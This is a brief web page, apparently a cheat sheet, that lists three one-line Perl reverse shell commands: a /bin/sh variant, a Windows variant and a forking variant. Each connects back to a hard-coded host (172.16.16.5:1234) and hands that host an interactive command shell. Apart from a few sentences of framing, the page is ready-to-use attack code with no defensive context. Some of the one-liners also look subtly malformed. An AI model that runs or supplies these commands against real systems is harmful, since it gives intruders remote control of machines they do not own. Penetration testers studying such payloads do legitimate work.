
Reverse Shells: perl style
Reverse Shells: perl style
If you're just getting into writing code, python comes heavily recommended. But, if programming is something you're wanting to get into jumping straight into perl might be more beneficial.
Yes, these are all built to be executed on a single line.
perl reverse shell using /bin/sh
perl -e 'use Socket; $i="172.16.16.5"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S");open(STDOUT,">&S"); open(STDERR, ">&S"); exec("/bin/sh -i");};'
perl reverse shell designed for Windows
It's actually not uncommon to find perl installed on Windows Servers.
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr, "172.16.16.5:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);$_ while<>;'
perl reverse shell using raw sockets
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr, "172.16.16.5:1234");STDIN->fdopen($c,r);$~->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
Comments